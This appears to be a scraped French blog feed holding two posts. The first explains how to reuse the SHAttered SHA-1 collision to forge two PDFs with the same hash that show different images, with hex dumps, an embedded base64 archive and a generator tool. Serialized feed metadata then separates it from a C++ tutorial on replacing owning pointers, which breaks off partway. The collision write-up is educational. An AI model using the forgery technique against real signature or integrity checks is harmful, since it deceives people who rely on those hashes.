Furthermore, the prefix of the colliding messages was carefully chosen so that they allow an attacker to forge two PDF documents with the same SHA-1 hash yet that display arbitrarily-chosen distinct visual content.

Aujourd’hui, nous allons jouer aux attaquants.

La réutilisation de la collision repose sur le fait qu’avec SHA-1, ajouter un suffixe identique à une collision existante produit encore une collision :

SHA1(A) == SHA1(B) ==> SHA1(A|X) == SHA1(B|X)

(où X|Y est la concaténation de X et de Y)

Autrement dit, vous prenez les fichiers qui produisent une collision, vous ajoutez les mêmes octets aux deux, vous obtenez le même SHA-1 :

$ { cat shattered-1.pdf; echo bonjour; } | sha1sum
4bfd4b804da3aa207b29d6f1300dde507988dc4b  -
$ { cat shattered-2.pdf; echo bonjour; } | sha1sum
4bfd4b804da3aa207b29d6f1300dde507988dc4b  -

Il est donc trivial de créer de nouvelles collisions.

Mais pour qu’elles aient un intérêt, encore faut-il :

  1. que les fichiers produits soient valides ;
  2. qu’une différence entre les fichiers soit visible par l’utilisateur.

Différences

Les différences entre shattered-1.pdf et shattered-2.pdf se situent entre les adresses 0xc0 et 0x13f :

diff -U3 <(hd shattered-1.pdf) <(hd shattered-2.pdf)
--- /dev/fd/63  2017-02-28 21:11:11.530135134 +0100
+++ /dev/fd/62  2017-02-28 21:11:11.530135134 +0100
@@ -10,14 +10,14 @@
 00000090  72 65 61 6d 0a ff d8 ff  fe 00 24 53 48 41 2d 31  |ream......$SHA-1|
 000000a0  20 69 73 20 64 65 61 64  21 21 21 21 21 85 2f ec  | is dead!!!!!./.|
 000000b0  09 23 39 75 9c 39 b1 a1  c6 3c 4c 97 e1 ff fe 01  |.#9u.9...<L.....|
-000000c0  73 46 dc 91 66 b6 7e 11  8f 02 9a b6 21 b2 56 0f  |sF..f.~.....!.V.|
-000000d0  f9 ca 67 cc a8 c7 f8 5b  a8 4c 79 03 0c 2b 3d e2  |..g....[.Ly..+=.|
-000000e0  18 f8 6d b3 a9 09 01 d5  df 45 c1 4f 26 fe df b3  |..m......E.O&...|
-000000f0  dc 38 e9 6a c2 2f e7 bd  72 8f 0e 45 bc e0 46 d2  |.8.j./..r..E..F.|
-00000100  3c 57 0f eb 14 13 98 bb  55 2e f5 a0 a8 2b e3 31  |<W......U....+.1|
-00000110  fe a4 80 37 b8 b5 d7 1f  0e 33 2e df 93 ac 35 00  |...7.....3....5.|
-00000120  eb 4d dc 0d ec c1 a8 64  79 0c 78 2c 76 21 56 60  |.M.....dy.x,v!V`|
-00000130  dd 30 97 91 d0 6b d0 af  3f 98 cd a4 bc 46 29 b1  |.0...k..?....F).|
+000000c0  7f 46 dc 93 a6 b6 7e 01  3b 02 9a aa 1d b2 56 0b  |.F....~.;.....V.|
+000000d0  45 ca 67 d6 88 c7 f8 4b  8c 4c 79 1f e0 2b 3d f6  |E.g....K.Ly..+=.|
+000000e0  14 f8 6d b1 69 09 01 c5  6b 45 c1 53 0a fe df b7  |..m.i...kE.S....|
+000000f0  60 38 e9 72 72 2f e7 ad  72 8f 0e 49 04 e0 46 c2  |`8.rr/..r..I..F.|
+00000100  30 57 0f e9 d4 13 98 ab  e1 2e f5 bc 94 2b e3 35  |0W...........+.5|
+00000110  42 a4 80 2d 98 b5 d7 0f  2a 33 2e c3 7f ac 35 14  |B..-....*3....5.|
+00000120  e7 4d dc 0f 2c c1 a8 74  cd 0c 78 30 5a 21 56 64  |.M..,..t..x0Z!Vd|
+00000130  61 30 97 89 60 6b d0 bf  3f 98 cd a8 04 46 29 a1  |a0..`k..?....F).|
 00000140  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
 *
 00000230  00 00 ff fe 00 fc 00 00  00 00 00 00 00 00 ff e0  |................|

Nous devrons donc, quoi qu’il arrive, conserver les 0x140 (320) premiers octets : il s’agira forcément d’un fichier PDF.

Pour analyser la structure sur un exemple minimal, je vous conseille l’exemple fourni à la dernière page du papier (good.pdf et bad.pdf) :

<< -- base64 -d | tar xj
QlpoOTFBWSZTWbL5V5MABl///////9Pv///v////+/////HDdK739/677r+W3/75rUNr4Aa/AAAAAAA
CgEVTRtQDQAaA0AAyGmjTQGmgAAANGgAaMIAYgGgAABo0AAAAAADQAIAGQ0MgDIGmjQA0DRk0AaMQ0D
QAGIANGgAAGRoNGQMRpo0GIGgBoGQAAIAGQ0MgDIGmjQA0DRk0AaMQ0DQAGIANGgAAGRoNGQMRpo0GI
GgBoGQAAIAGQ0MgDIGmjQA0DRk0AaMQ0DQAGIANGgAAGRoNGQMRpo0GIGgBoGQAAIAGQ0MgDIGmjQA0
DRk0AaMQ0DQAGIANGgAAGRoNGQMRpo0GIGgBoGQAABVTUExEZATTICnkxNR+p6E09JppoyamjGhkm0a
mmIyaekbUejU9JiGnqZqaaDxJ6m0JkZMQ2oaYmJ6gxqMyE2TUzJqfItligtJQJfYbl9Zy9QjQuB5mHQ
RdSSXCCTHMgmSDYmdOoOmLTBJWiCpOhMQYpQlOYpJjn+wQUJSTCEpOMekaFaaNB6glCC0hKEJdHr6Bm
UIHeph7YxS8WJYyGwgWnMTFJBDFSxSCCYljiEk7HZgJzJVDHJxMgY6tCEIIWgsKSlSZ0S8GckoIIF+5
51Ro4RCw260VCEpWJSlpWx/PMrLyVoyhWMAneDilBcUIeZ1j6NCkus0qUCWnahhk5KT4GpWMh3vm2nJ
WjTL9Qg+84iExBJhNKpbV9tvEN265t3fu/TKkt4rXFTsV+NcupJXhOhOhJMQQktrqt4K8mSh9M2DAO2
X7uXGVL9YQxUtzQmS7uBndL7M6R7vX869VxqPurenSuHYNq1yTXOfNWLwgvKlRlFYqLCs6OChDp0HuT
zCWscmGudLyqUuwVGG75nmyZhKpJyOE/pOZyHyrZxGM51DYIN+Jc8yVJgAykxKCEtW55MlfudLg3KG6
TtozalunXrroSxUpVLStWrWLFihMnVpkyZOrQnUrE6xq1CGtJlbAb5ShMbV1CZgqlKC0wCFCpMmUKSE
kvFLaZC8wHOCVAlvzaJQ/T+XLb5Dh5TNM67p6KZ4e4ZSGyVENx2O27LzrTIteAreTkMZpW95GS0CEJY
hMc4nToTJ0wQhKEyddaLb/rTqmgJSlkpnALxMhlNmuKEpkEkqhKUoEq3SoKUpIQcDgWlC0rYahMmLuP
Q0fHqZaF4v2W8IoJ2EhMhYmSw7qql27WJS+G4rUplToFi2rSv0NSrVvDUpltQ8Lv6F8pXyxmFBSxiLS
xglNC4uvXVKmAtusXy4YXGX1ixedEvXF1aX6t8adYnYCpC6rW1ZzdZYlCCxKEv8vpbqdSsXl8v1jCQv
0KEPxPTa/5rtWSF1dSgg4z4KjfIMNtgwWoWLEsRhKxsSA9ji7V5LRPwtumeQ8V57UtFSPIUmtQdOQfs
eI2Ly1DMtk4Jl8n927w34zrWG6Pi4jzC82js/46Rt2IZoadWxOtMInS2xYmcu8mOw9PLYxQ4bdfFw3Z
Pf/g2pzSwZDhGrZAl9lqky0W+yeanadC037xk496t0Dq3ctfmqmjgie8ln9k6Q0K1krb3dK9el4Xsu4
4LpGcenr2eQZ1s1IhOhnE56WnXf0BLWn9Xz15fMkzi4kpVxiTKGEpffErEEMvEeMZhUl6yD1SdeJYbx
zGNM3ak2TAaglLZlDCVnoM6wV5DRrycwF8Zh/fRsdmhkMfAO1duwknrsFwrzePWeMwl107DWzymxdQw
iSXx/lncnn75jL9mUzw2bUDqj20LTgtawxK2SlQg1CCZDQMgSpEqLjRMsykM9zbSIUqil0zNk7Nu+b5
J0DKZlhl9CtpGKgX5uyp0idoJ3we9bSrY7PupnUL5eWiDpV5mmnNUhOnYi8xyClkLbNmAXyoWk7GaVr
M2umkbpqHDzDymiKjetgzTocWNsJ2E0zPcfht46J4ipaXGCfF7fuO0a70c82bvqo3HceIcRlshgu73s
eO8BqlLIap2z5jTOY+T2ucCnBtAtva3aHdchJg9AJ5YdKHz7LoA3VKmeqxAlFyEnQLBxB2PAhAZ8Kvm
uR6ELXws1Qr13Nd1i4nsp189jqvaNzt+0nEnIaniuP1+/UOZdyfoZh57ku8sYHKdvfW/jYSUks+0rK+
qtte+py8jWL9cOJ0fV8rrH/t+85/p1z2N67p/ZsZ3JmdyliL7lrNxZUlx0MVIl6PxXOUuGOeArW3vuE
vJ2beoh7SGyZKHKbR2bBWO1d49JDIcVM6lQtu9UO8ec8pOnXmkcponBPLNM2CwZ9kNC/4ct6rQkPkQH
McV/8XckU4UJCy+VeTA==
--

Aiguillage

Notre objectif est que les quelques octets différents entre les deux fichiers PDF déterminent l’image à afficher.

Il serait en théorie possible d’appliquer cet aiguillage au niveau de la structure du PDF, mais c’est en fait au niveau du JPEG qu’il sera implémenté :

PDFs with the same MD5 hash have previously been constructed by Gebhardt et al. [12] by exploiting so-called Indexed Color Tables and Color Transformation functions. However, this method is not effective for many common PDF viewers that lack support for these functionalities. Our PDFs rely on distinct parsings of JPEG images, similar to Gebhardt et al.’s TIFF technique [12] and Albertini et al.’s JPEG technique [1].

Le format JPEG

Voici le strict nécessaire à savoir sur le format JPEG pour notre besoin.

Une image est stockée entre les marqueurs 0xffd8 (Start Of Image) et 0xffd9 (End Of Image).

Il est possible d’insérer autant de commentaires que l’on veut, grâce au marqueur 0xfffe suivi de sa taille sur 2 octets (en big-endian). La taille compte le header de taille, mais pas le marqueur initial.

Par exemple, si je veux insérer le commentaire “Hello” au tout début, mon fichier JPEG ressemblera à ceci :

 ff d8 ff fe 00 07 48 65 6c 6c 6f  …  ff d9
 [SOI]                                [EOI]
      [[COM] [LEN]  H  e  l  l  o]
             <------------------->
                       7

Et c’est à peu près tout ce qu’il y a à savoir.

L’astuce

Mettons en évidence la première différence entre les fichiers en collision.

Dans le fichier 1 :

000000b0  -- -- -- -- -- -- -- --  -- -- -- -- -- ff fe 01
000000c0  73 -- -- -- -- -- -- --  -- -- -- -- -- -- -- --

Dans le fichier 2 :

000000b0  -- -- -- -- -- -- -- --  -- -- -- -- -- ff fe 01
000000c0  7f -- -- -- -- -- -- --  -- -- -- -- -- -- -- --

Chacun définit un bloc de commentaires, mais pas de mêmes tailles. Dans le fichier 1, le début du prochain bloc sera à l’adresse 0x232 (0xbf + 0x173), alors que dans le fichier 2 il sera à l’adresse 0x23e (0xbf + 0x17f).

Nous avons donc trouvé notre aiguillage ; nous allons maintenant utiliser des commentaires JPEG pour cacher soit la première image, soit la seconde.

Pour l’exploiter jusqu’au bout, il suffit de disposer les commentaires astucieusement pour que les deux versions représentent des images parfaitement valides.

Nous allons donc commencer en 0x232 un bloc de commentaires, ayant une taille permettant de recouvrir l’intégralité de l’image que nous allons stocker en 0x23e. Et inversement, nous devons démarrer un commentaire à la fin de l’image stockée en 0x23e pour cacher la deuxième image.

Comparons sur le résultat ce qu’observe un parseur qui parcourt chacun des fichiers.

(GG et HH sont les deux images à stocker. J1 et J2 sont les longueurs des sauts pour enjamber chacune des images.)

Le fichier 1 est parsé ainsi :


00000090  -- -- -- -- -- ff d8 --  -- -- -- -- -- -- -- --
       …
000000b0  -- -- -- -- -- -- -- --  -- -- -- -- -- ff fe 01
000000c0  73 -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
       …
00000230  -- -- ff fe J1 J1 -- --  -- -- -- -- -- -- GG GG
00000240  GG GG GG GG GG GG GG GG  GG GG GG GG GG GG GG GG
       …
       i  GG GG GG GG GG GG ff fe  J2 J2 HH HH HH HH HH HH
  i+0x10  HH HH HH HH HH HH HH HH  HH HH HH HH HH HH HH HH
       …
       j  HH HH ff d9 -- -- -- --  -- -- -- -- -- -- -- --

Le fichier 2 est parsé différemment :


00000090  -- -- -- -- -- ff d8 --  -- -- -- -- -- -- -- --
       …
000000b0  -- -- -- -- -- -- -- --  -- -- -- -- -- ff fe 01
000000c0  7f -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
       …
00000230  -- -- ff fe J1 J1 -- --  -- -- -- -- -- -- GG GG
00000240  GG GG GG GG GG GG GG GG  GG GG GG GG GG GG GG GG
       …
       i  GG GG GG GG GG GG ff fe  J2 J2 HH HH HH HH HH HH
  i+0x10  HH HH HH HH HH HH HH HH  HH HH HH HH HH HH HH HH
       …
       j  HH HH ff d9 -- -- -- --  -- -- -- -- -- -- -- --

Les structures JPEG sont donc valides dans les deux fichiers. L’image affichée dépendra de l’octet stocké à l’adresse 0xc0, valant soit 0x73, soit 0x7f.

Maintenant, il nous reste à rendre notre PDF valide.

PDF

Le header participant à la collision SHA-1 (donc figé) définit des configurations dans des sections séparées (donc non figées) :

00000000  25 50 44 46 2d 31 2e 33  0a 25 e2 e3 cf d3 0a 0a  |%PDF-1.3.%......|
00000010  0a 31 20 30 20 6f 62 6a  0a 3c 3c 2f 57 69 64 74  |.1 0 obj.<</Widt|
00000020  68 20 32 20 30 20 52 2f  48 65 69 67 68 74 20 33  |h 2 0 R/Height 3|
00000030  20 30 20 52 2f 54 79 70  65 20 34 20 30 20 52 2f  | 0 R/Type 4 0 R/|
00000040  53 75 62 74 79 70 65 20  35 20 30 20 52 2f 46 69  |Subtype 5 0 R/Fi|
00000050  6c 74 65 72 20 36 20 30  20 52 2f 43 6f 6c 6f 72  |lter 6 0 R/Color|
00000060  53 70 61 63 65 20 37 20  30 20 52 2f 4c 65 6e 67  |Space 7 0 R/Leng|
00000070  74 68 20 38 20 30 20 52  2f 42 69 74 73 50 65 72  |th 8 0 R/BitsPer|
00000080  43 6f 6d 70 6f 6e 65 6e  74 20 38 3e 3e 0a 73 74  |Component 8>>.st|

Ainsi, la largeur (Width) est définie dans l’objet 2, la hauteur (Height) dans l’objet 3, etc.

Ces objets sont à définir à la suite des fichiers JPEG embarqués. Pour comprendre leur format, le plus simple est de lire le fichier good.pdf que je recommandais plus haut :

tail -c+$((0x746)) good.pdf

On y trouve la définition des objets (entre autres les dimensions de l’image) :

2 0 obj
8
endobj

3 0 obj
8
endobj

4 0 obj
/XObject
endobj

5 0 obj
/Image
endobj

6 0 obj
/DCTDecode
endobj

7 0 obj
/DeviceRGB
endobj

8 0 obj
1693
endobj

9 0 obj
<<
  /Type /Catalog
  /Pages 10 0 R
>>
endobj


10 0 obj
<<
  /Type /Pages
  /Count 1
  /Kids [11 0 R]
>>
endobj

11 0 obj
<<
  /Type /Page
  /Parent 10 0 R
  /MediaBox [0 0 8 8]
  /CropBox [0 0 8 8]
  /Contents 12 0 R
  /Resources
  <<
    /XObject <</Im0 1 0 R>>
  >>
>>
endobj

12 0 obj
<</Length 30>>
stream
q
  8 0 0 8 0 0 cm
  /Im0 Do
Q
endstream
endobj

Ensuite vient la table de références croisées ; elle indique l’offset de chacun des objets définis, dans l’ordre :

xref
0 13 
0000000000 65535 f 
0000000017 00000 n 
0000001861 00000 n 
0000001879 00000 n 
0000001897 00000 n 
0000001922 00000 n 
0000001945 00000 n 
0000001972 00000 n 
0000001999 00000 n 
0000002020 00000 n 
0000002076 00000 n 
0000002142 00000 n 
0000002309 00000 n 

À chaque ajout ou suppression de caractères dans la définition des objets, cette table doit être mise à jour.

Le fichier se termine par un trailer, contenant l’offset de la table de références :

trailer << /Root 9 0 R /Size 13>>

startxref
2391
%%EOF

Ces offsets sont un peu fastidieux à modifier à la main, mais ça fonctionne.

SHAdow

J’ai donc écrit un petit outil qui applique toutes ces opérations automatiquement: SHAdow.

Il prend en entrée deux images JPEG (de moins de 64K, puisque la taille d’un commentaire est codé sur 2 octets), ainsi que leurs dimensions (afin d’éviter d’utiliser des dépendances pour les extraire) :

./shadow.py img1.jpg img2.jpg 200 200

Il génère deux fichiers dans le répertoire courant, shadow1.pdf et shadow2.pdf.

Il ne reste qu’à vérifier qu’ils ont bien le même SHA-1 :

sha1sum shadow1.pdf shadow2.pdf
";s:7:"dateiso";s:15:"20170301_001135";}s:15:"20170112_193314";a:7:{s:5:"title";s:19:"C++ sans *pointeurs";s:4:"link";s:50:"https://blog.rom1v.com/2017/01/cpp-sans-pointeurs/";s:4:"guid";s:49:"https://blog.rom1v.com/2017/01/cpp-sans-pointeurs";s:7:"pubDate";s:25:"2017-01-12T19:33:14+01:00";s:11:"description";s:0:"";s:7:"content";s:76146:"

Les pointeurs sont utilisés plus souvent que nécessaire en C++.

Je voudrais présenter ici comment caractériser les utilisations abusives et par quoi les remplacer.

Objectifs

La décision d’utiliser des pointeurs dépend en grande partie de l’API des objets utilisés.

API est à comprendre dans un sens très large : je considère que des classes utilisées dans une autre partie d’une même application exposent une API.

L’objectif est donc de concevoir des API de manière à ce que leur utilisation ne nécessite pas de manipuler de pointeurs, ni même si possible de smart pointers.

Cela peut paraître surprenant, mais c’est en fait ainsi que vous utilisez les classes de la STL ou de Qt : vos méthodes ne retournent jamais un raw pointer ni un smart pointer vers une string nouvellement créée.

De manière générale, vous n’écririez pas ceci :

// STL version
string *getName() {
    return new string("my name");
}

// Qt version
QString *getName() {
    return new QString("my name");
}

ni ceci :

// STL version
shared_ptr<string> getName() {
    return make_shared<string>("my name");
}

// Qt version
QSharedPointer<QString> getName() {
    return QSharedPointer<QString>::create("my name");
}

À la place, vous écririez sûrement :

// STL version
string getName() {
    return "my name";
}

// Qt version
QString getName() {
    return "my name";
}

Notre objectif est d’écrire des classes qui s’utiliseront de la même manière.

Ownership

Il faut distinguer deux types de raw pointers :

  1. ceux qui détiennent l’objet pointé (owning), qui devront être libérés ;
  2. ceux qui ne le détiennent pas (non-owning).

Le plus simple est de les comparer sur un exemple.

Owning

Info *getInfo() {
    return new Info(/* … */);
}

void doSomething() {
    Info *info = getInfo();
    // info must be deleted
}

Ici, nous avons la responsabilité de supprimer info au bon moment.

C’est ce type de pointeurs dont nous voulons nous débarrasser.

Non-owning

void writeDataTo(QBuffer *buffer) {
    buffer->write("c++");
}

void doSomething() {
    QBuffer buffer;
    writeDataTo(&buffer);
}

Ici, le pointeur permet juste de passer l’adresse de l’objet, mais la méthode writeDataTo(…) ne doit pas gérer sa durée de vie : elle ne le détient donc pas.

Cet usage est tout-à-fait légitime, nous souhaitons le conserver.

Pour savoir si un pointeur est owning ou non, il suffit de se poser la question suivante : est-ce que lui affecter nullptr provoquerait une fuite mémoire ?

Pourquoi ?

Voici quelques exemples illustrant pourquoi nous voulons éviter les owning raw pointers.

Fuite mémoire

Il est facile d’oublier de supprimer un pointeur dans des cas particuliers.

Par exemple :

bool parse() {
    Parser *parser = createParser();
    QFile file("file.txt");
    if (!file.open(QIODevice::ReadOnly))
        return false;
    bool result = parser->parse(&file);
    delete parser;
    return result;
    // parser leaked if open failed
}

Ici, si l’ouverture du fichier a échoué, parser ne sera jamais libéré.

L’exemple suivant est encore plus significatif :

Result *execute() {
    // …
    return new Result(/* … */);
}

void doWork() {
    execute();
    // result leaked
}

Appeler une méthode sans s’occuper du résultat peut provoquer des fuites mémoires.

Double suppression

Il est également possible, par inattention, de supprimer plusieurs fois le même pointeur (ce qui entraîne un undefined behavior).

Par exemple, si device fait partie de la liste devices, ce code le supprime deux fois :

delete device;
qDeleteAll(devices);
// device is deleted twice

Utilisation après suppression

L’utilisation d’un pointeur après sa suppression est également indéfinie.

Je vais prendre un exemple réel en Qt.

Supposons qu’une classe DeviceMonitor surveille le branchement de périphériques, et crée pour chacun un objet Device.

Lorsqu’un périphérique est débranché, un signal Qt provoque l’exécution du slot DeviceMonitor::onDeviceLeft(Device *). Nous voulons alors signaler au reste de l’application que le device est parti (signal DeviceMonitor::deviceLeft(Device *)), puis supprimer l’object device correspondant :

void DeviceMonitor::onDeviceLeft(Device *device) {
    emit deviceLeft(device);
    delete device;
    // slots may use the device after its deletion
    // device->deleteLater() not sufficient
}

Mais c’est loin d’être trivial.

Si nous le supprimons immédiatement comme ceci, et qu’un slot est branché à DeviceMonitor::deviceLeft(Device *) en Qt::QueuedConnection, alors il est possible que le pointeur soit déjà supprimé quand ce slot sera exécuté.

Un proverbe dit que quand ça crashe avec un delete, “il faut appeller deleteLater() pour corriger le problème” :

device->deleteLater();

Mais malheureusement, ici, c’est faux : si le slot branché au signal DeviceMonitor::deviceLeft(Device *) est associé à un QObject vivant dans un autre thread, rien ne garantit que son exécution aura lieu avant la suppression du pointeur.

L’utilisation des owning raw pointers n’est donc pas seulement vulnérable aux erreurs d’inattention (comme dans les exemples précédents) : dans des cas plus complexes, il devient difficile de déterminer quand supprimer le pointeur.

Responsabilité

De manière plus générale, lorsque nous avons un pointeur, nous ne savons pas forcément qui a la responsabilité de le supprimer, ni comment le supprimer :

Data *data = getSomeData();
delete data; // ?
free(data); // ?
custom_deleter(data); // ?

Qt fournit un mécanisme pour supprimer automatiquement les QObject * quand leur parent est détruit. Cependant, cette fonctionnalité ne s’applique qu’aux relations de composition.

Résumons les inconvénients des owning raw pointeurs :

Valeurs

Laissons de côté les pointeurs quelques instants pour observer ce qu’il se passe avec de simples valeurs (des objets plutôt que des pointeurs vers des objets) :

struct Vector {
    int x, y, z;
};

Vector transform(const Vector &v) {
    return { -v.x, v.z, v.y };
}

void compute() {
    Vector vector = transform({ 1, 2, 3 });
    emit finished(transform(vector));
}

C’est plus simple : la gestion mémoire est automatique, et le code est plus sûr. Par exemple, les fuites mémoire et les double suppressions sont impossibles.

Ce sont des avantages dont nous souhaiterions bénéficier également pour les pointeurs.

Privilégier les valeurs

Dans les cas où les pointeurs sont utilisés uniquement pour éviter de retourner des copies (et non pour partager des objets), il est préférable de retourner les objets par valeur à la place.

Par exemple, si vous avez une classe :

struct Result {
    QString message;
    int code;
};

Évitez :

Result *execute() {
    // …
    return new Result { message, code };
}

Préférez :

Result execute() {
    // …
    return { message, code };
}

Certes, dans certains cas, il est moins efficace de passer un objet par valeur qu’à travers un pointeur (car il faut le copier).

Mais cette inefficacité est à relativiser.

D’abord parce que dans certains cas (quand l’objet est copié à partir d’une rvalue reference), la copie sera remplacée par un move. Le move d’un vector par exemple n’entraîne aucune copie (ni move) de ses éléments.

Ensuite parce que les compilateurs optimisent le retour par valeur (RVO), ce qui fait qu’en réalité dans les exemples ci-dessus, aucun Result ni Vector n’est jamais copié ni mové : ils sont directement créés à l’endroit où ils sont affectés (sauf si vous compilez avec le paramètre -fno-elide-constructors).

Mais évidemment, il y a des cas où nous ne pouvons pas simplement remplacer un pointeur par une valeur, par exemple quand un même objet doit être partagé entre différentes parties d’un programme.

Nous voudrions les avantages des valeurs également pour ces cas-là. C’est l’objectif de la suite du billet.

Idiomes C++

Pour y parvenir, nous avons besoin de faire un détour par quelques idiomes couramment utilisés en C++.

Ils ont souvent un nom étrange. Par exemple :

Nous allons étudier les deux premiers.

RAII

Prenons un exemple simple :

bool submit() {
    if (!validate())
        return false;
    return something();
}

Nous souhaitons rendre cette méthode thread-safe grâce à un mutex (std::mutex en STL ou QMutex en Qt).

Supposons que validate() et something() puissent lever une exception.

Le mutex doit être déverrouillé à la fin de l’exécution de la méthode. Le problème, c’est que cela peut se produire à différents endroits, donc nous devons gérer tous les cas :

bool submit() {
    mutex.lock();
    try {
        if (!validate()) {
            mutex.unlock();
            return false;
        }
        bool result = something();
        mutex.unlock();
        return result;
    } catch (...) {
        mutex.unlock();
        throw;
    }
}

Le code est beaucoup plus complexe et propice aux erreurs.

Avec des classes utilisant RAII (std::lock_guard en STL ou QMutexLocker en Qt), c’est beaucoup plus simple :

bool submit() {
    QMutexLocker locker(&mutex);
    if (!validate())
        return false;
    return something();
}

En ajoutant une seule ligne, la méthode est devenue thread-safe.

Cette technique consiste à utiliser le cycle de vie d’un objet pour acquérir une ressource dans le constructeur (ici verrouiller le mutex) et la relâcher dans le destructeur (ici le déverrouiller).

Voici une implémentation simplifiée possible de QMutexLocker :

class QMutexLocker {
    QMutex *mutex;
public:
    explicit QMutexLocker(QMutex *mutex) : mutex(mutex) {
        mutex->lock();
    }
    ~QMutexLocker() {
        mutex->unlock();
    }
};

Comme l’objet est détruit lors de la sortie du scope de la méthode (que ce soit par un return ou par une exception survenue n’importe où), le mutex sera toujours déverrouillé.

Au passage, dans l’exemple ci-dessus, nous remarquons que la variable locker n’est jamais utilisée. RAII complexifie donc la détection des variables inutilisées, car le compilateur doit détecter les effets de bords. Mais il s’en sort bien : ici, il n’émet pas de warning.

Smart pointers

Les smart pointers utilisent RAII pour gérer automatiquement la durée de vie des pointeurs. Il en existe plusieurs.

Dans la STL :

Dans Qt :

Scoped pointers

Le smart pointer le plus simple est le scoped pointer. L’idée est vraiment la même que QMutexLocker, sauf qu’au lieu de vérouiller et déverrouiller un mutex, il stocke un raw pointer et le supprime.

En plus de cela, comme tous les smart pointers, il redéfinit certains opérateurs pour pouvoir être utilisé comme un raw pointer.

Par exemple, voici une implémentation simplifiée possible de QScopedPointer :

template <typename T>
class QScopedPointer {
    T *p;
public:
    explicit QScopedPointer(T *p) : p(p) {}
    ~QScopedPointer() { delete p; }
    T *data() const { return p; }
    operator bool() const { return p; }
    T &operator*() const { return *p; }
    T *operator->() const { return p; }
private:
    Q_DISABLE_COPY(QScopedPointer)
};

Et un exemple d’utilisation :

// bad design (owning raw pointer)
DeviceInfo *Device::getDeviceInfo() {
    return new DeviceInfo(/* … */);
}

void Device::printInfo() {
    QScopedPointer<DeviceInfo> info(getDeviceInfo());
    // used like a raw pointer
    if (info) {
        qDebug() << info->getId();
        DeviceInfo copy = *info;
    }
    // automatically deleted
}

Shared pointers

Les shared pointers permettent de partager l’ownership (la responsabilité de suppression) d’une ressource.

Ils contiennent un compteur de références, indiquant le nombre d’instances partageant le même pointeur. Lorsque ce compteur tombe à 0, le pointeur est supprimé (il faut donc éviter les cycles).

En pratique, voici ce à quoi ressemblerait une liste de Devices partagés par des QSharedPointers :

class DeviceList {
    QList<QSharedPointer<Device>> devices;
public:
    QSharedPointer<Device> getDevice(int index) const;
    void add(const QSharedPointer<Device> &device);
    void remove(Device *device);
};
// devices are automatically deleted when necessary

Le partage d’un pointeur découle toujours de la copie d’un shared pointer. C’est la raison pour laquelle getDevice(…) et add(…) manipulent un QSharedPointer.

Le piège à éviter est de créér plusieurs smart pointers indépendants sur le même raw pointer. Dans ce cas, il y aurait deux refcounts à 1 plutôt qu’un refcount à 2, et le pointeur serait supprimé dès la destruction du premier shared pointer, laissant l’autre pendouillant.

Petite parenthèse : la signature des méthodes add et remove sont différentes car une suppression ne nécessite pas de manipuler la durée de vie du Device passé en paramètre.

Refcounted smart pointers are about managing te owned object’s lifetime.

Copy/assign one only when you intend to manipulate the owned object’s lifetime.

Au passage, si en Qt vous passez vos objets de la couche C++ à la couche QML, il faut aussi passer les shared pointers afin de ne pas casser le partage, ce qui implique d’enregistrer le type :

void registerQml() {
    qRegisterMetaType<QSharedPointer<Device>>();
}

Listons donc les avantages des shared pointers :

Cependant, si la gestion mémoire est automatique, elle n’est pas transparente : elle nécessite de manipuler explicitement des QSharedPointer, ce qui est verbeux.

Il est certes possible d’utiliser un alias (typedef) pour atténuer la verbosité :

using DevicePtr = QSharedPointer<Device>;

class DeviceList {
    QList<DevicePtr> devices;
public:
    DevicePtr getDevice(int index) const;
    void add(const DevicePtr &device);
    void remove(Device *device);
};

Mais quoi qu’il en soit, cela reste plus complexe que des valeurs.

Pour aller plus loin, nous allons devoir faire un détour inattendu, par un idiome qui n’a a priori rien à voir.

PImpl

PImpl sert à réduire les dépendances de compilation.

Opaque pointers are a way to hide the implementation details of an interface from ordinary clients, so that the implementation may be changed without the need to recompile the modules using it.

Prenons la classe Person suivante (person.h) :

class Person {
    QString name;
    long birth;
public:
    Person(const QString &name, long birth);
    QString getName() const;
    void setName(const QString &name);
    int getAge() const;
private:
    static long countYears(long from, long to);
};

Elle contient juste un nom et un âge. Elle définit par ailleurs une méthode privée, countYears(…), qu’on imagine appelée dans getAge().

Chaque classe désirant utiliser la classe Person devra l’inclure :

#include "person.h"

Par conséquent, à chaque modification de ces parties privées (qui sont pourtant que des détails d’implémentation), toutes les classes incluant person.h devront être recompilées.

C’est ce que PImpl permet d’éviter, en séparant la classe en deux :

Concrètement, la classe Person précédente est la partie privée. Renommons-la :

class PersonPrivate {
    QString name;
    long birth;
public:
    PersonPrivate(const QString &name, long birth);
    QString getName() const;
    void setName(const QString &name);
    int getAge() const;
private:
    static long countYears(long from, long to);
};

Créons la partie publique, définissant l’interface souhaitée :

class PersonPrivate; // forward declaration
class Person {
    PersonPrivate *d;
public:
    Person(const QString &name, long birth);
    Person(const Person &other);
    ~Person();
    Person &operator=(const Person &other);
    QString getName() const;
    void setName(const QString &name);
    int getAge() const;
};

Elle contient un pointeur vers PersonPrivate, et lui délègue tous les appels.

Évidemment, Person ne doit pas inclure PersonPrivate, sinon nous aurions les mêmes dépendances de compilation, et nous n’aurions rien résolu. Il faut utiliser à la place une forward declaration.

Voici son implémentation :

Person::Person(const QString &name, long birth) :
        d(new PersonPrivate(name, birth)) {}

Person::Person(const Person &other) :
        d(new PersonPrivate(*other.d)) {}

Person::~Person() { delete d; }

Person &Person::operator=(const Person &other) {
    *d = *other.d;
    return *this;
}

QString Person::getName() const {
    return d->getName();
}

void Person::setName(const QString &name) {
    d->setName(name);
}

int Person::getAge() const {
    return d->getAge();
}

Le pointeur vers la classe privée est souvent nommé d car il s’agit d’un d-pointer.

Donc comme prévu, tout cela n’a rien à voir avec notre objectif d’éviter d’utiliser des pointeurs.

Partage

Mais en fait, si. PImpl permet de séparer les classes manipulées explicitement de l’objet réellement modifié :

graph_pimpl

Il y a une relation 1-1 entre la classe publique et la classe privée correspondante. Mais nous pouvons imaginer d’autres cardinalités.

Par exemple, Qt partage implicitement les parties privées d’un grand nombre de classes. Il ne les copie que lors d’une écriture (CoW) :

graph_pimpl_shareddata

Par exemple, lorsqu’une QString est copiée, la même zone mémoire sera utilisée pour les différentes instances, jusqu’à ce qu’une modification survienne.

Cependant, il ne s’agit que d’un détail d’implémentation utilisé pour améliorer les performances. Du point de vue utilisateur, tout se passe comme si les données étaient réellement copiées :

QString s1 = "ABC";
QString s2 = s1;
s2.append("DEF");
Q_ASSERT(s2 == "ABCDEF");
